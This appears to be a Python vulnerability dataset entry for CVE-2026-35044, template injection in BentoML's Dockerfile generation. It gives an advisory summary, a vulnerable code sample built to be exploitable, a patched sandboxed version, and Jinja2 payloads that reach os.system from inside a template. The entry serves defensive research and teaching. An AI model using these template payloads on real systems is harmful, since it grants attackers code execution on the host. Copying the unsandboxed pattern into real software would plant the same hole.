VAITP Dataset

← Back to the dataset

CVE-2026-35044

BentoML allows host RCE via malicious Jinja2 templates during containerize.

  • CVSS 9.6
  • CWE-1336
  • Input Validation and Sanitization
  • Local

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.38, the Dockerfile generation function generate_containerfile() in src/bentoml/_internal/container/generate.py uses an unsandboxed jinja2.Environment with the jinja2.ext.do extension to render user-provided dockerfile_template files. When a victim imports a malicious bento archive and runs bentoml containerize, attacker-controlled Jinja2 template code executes arbitrary Python directly on the host machine, bypassing all container isolation. This vulnerability is fixed in 1.4.38.

CVSS base score
9.6
Published
2026-04-06
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Local
Impact
Arbitrary Code Execution
Affected component
BentoML
Fixed by upgrading
Yes

Solution

Upgrade BentoML to version 1.4.38 or later.

Vulnerable code sample

import jinja2
import os
import sys

# This code represents the vulnerable state of BentoML before version 1.4.38,
# specifically the 'generate_containerfile' function.
# It demonstrates how a malicious Dockerfile template can lead to
# arbitrary code execution on the host machine.

def vulnerable_generate_containerfile(dockerfile_template: str):
    """
    This function simulates the vulnerable behavior of BentoML's Dockerfile generation.
    It uses an unsandboxed Jinja2 environment to render a user-provided template,
    which is the root cause of CVE-2026-35044.
    """
    print(
        "[-] Initializing an UNSANDBOXED Jinja2 environment, as was done in the vulnerable version."
    )
    # The core of the vulnerability: A standard `jinja2.Environment` is used, which does not
    # restrict access to dangerous Python objects or methods. The `jinja2.ext.do` extension
    # allows the template to execute code without rendering its output.
    env = jinja2.Environment(extensions=["jinja2.ext.do"])

    # A malicious user provides a `dockerfile_template` that contains a payload.
    template = env.from_string(dockerfile_template)

    print("[-] Rendering the user-provided Dockerfile template...")
    # When `render()` is called, the malicious payload inside the template is executed
    # with the full permissions of the Python process running this code.
    rendered_content = template.render()

    print("[-] Template rendering complete.")
    print("\n--- Rendered Dockerfile Content ---")
    print(rendered_content)
    print("---------------------------------")


if __name__ == "__main__":
    # This string represents a malicious `dockerfile_template` that an attacker
    # would place inside a Bento archive.
    malicious_template = """
# Benign Dockerfile instructions
FROM python:3.9-slim
LABEL maintainer="harmless.user@example.com"

# Malicious Jinja2 payload for Arbitrary Code Execution
# The `do` block executes Python code directly on the host machine.
# This payload imports the 'os' module and executes a shell command.
{% do self.__init__.__globals__.__builtins__.__import__('os').system('echo "\\n\\n[!!!] VULNERABILITY EXPLOITED [!!!]\\nSUCCESS: Arbitrary code was executed on the host machine.\\nThis demonstrates CVE-2026-35044.\\n"') %}

# More benign Dockerfile instructions
RUN echo "This instruction would run inside the container during 'docker build'."
"""

    print(
        "[*] Simulating `bentoml containerize` on a malicious Bento archive."
    )
    print(
        "[*] The following function call mimics the vulnerable process."
    )

    try:
        vulnerable_generate_containerfile(dockerfile_template=malicious_template)
    except Exception as e:
        print(f"[!] An error occurred during rendering: {e}")

    print("\n[*] Simulation finished. If you see the 'VULNERABILITY EXPLOITED' message above, the demonstration was successful.")

Patched code sample

import typing as t
from jinja2 import SandboxedEnvironment
from jinja2.ext import do as jinja2_do
from jinja2.exceptions import SecurityError

def generate_containerfile_fixed(
    dockerfile_template: str,
    context_vars: t.Dict[str, t.Any],
) -> str:
    """
    Represents the patched version of the Dockerfile generation function,
    fixing the template injection vulnerability.

    The original vulnerable function used a standard `jinja2.Environment`.
    The fix, demonstrated here, is to use `jinja2.SandboxedEnvironment`.
    This environment prevents the template from accessing insecure attributes
    and methods (like `__globals__` or `__import__`), effectively blocking
    arbitrary code execution attempts while still allowing safe template logic.
    """
    # The key fix is the use of SandboxedEnvironment instead of the standard Environment.
    # This restricts the template's execution context to prevent access to
    # unsafe Python objects and methods.
    env = SandboxedEnvironment(
        extensions=[jinja2_do],
        trim_blocks=True,
        lstrip_blocks=True,
    )

    template = env.from_string(dockerfile_template)
    return template.render(**context_vars)

# --- Example Usage Demonstrating the Fix ---

# 1. A malicious template attempting Remote Code Execution (RCE).
# This payload tries to access Python's built-in `__import__` function
# to execute the `os.system` command.
malicious_template = """
FROM debian:buster-slim

# This malicious line will be blocked by the SandboxedEnvironment
RUN echo {{ self.__init__.__globals__.__builtins__.__import__('os').system('echo VULNERABLE') }}
"""

# 2. Context variables for rendering
render_context = {
    "bento_version": "1.4.38"
}

# 3. Attempt to render the malicious template with the fixed function.
print("Attempting to render malicious template with the fixed function...")
try:
    generated_dockerfile = generate_containerfile_fixed(
        dockerfile_template=malicious_template,
        context_vars=render_context,
    )
    print("\n[FAIL] Malicious template was rendered without error (unexpected):")
    print(generated_dockerfile)
except SecurityError as e:
    print(f"\n[SUCCESS] Malicious template rendering was blocked as expected.")
    print(f"Reason: {e}")
except Exception as e:
    print(f"\n[FAIL] An unexpected error occurred: {type(e).__name__}: {e}")

Payload

{% do __import__('os').system('id > /tmp/pwned') %}

Cite this entry

@misc{vaitp:cve202635044,
  title        = {{BentoML allows host RCE via malicious Jinja2 templates during containerize.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-35044},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-35044/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::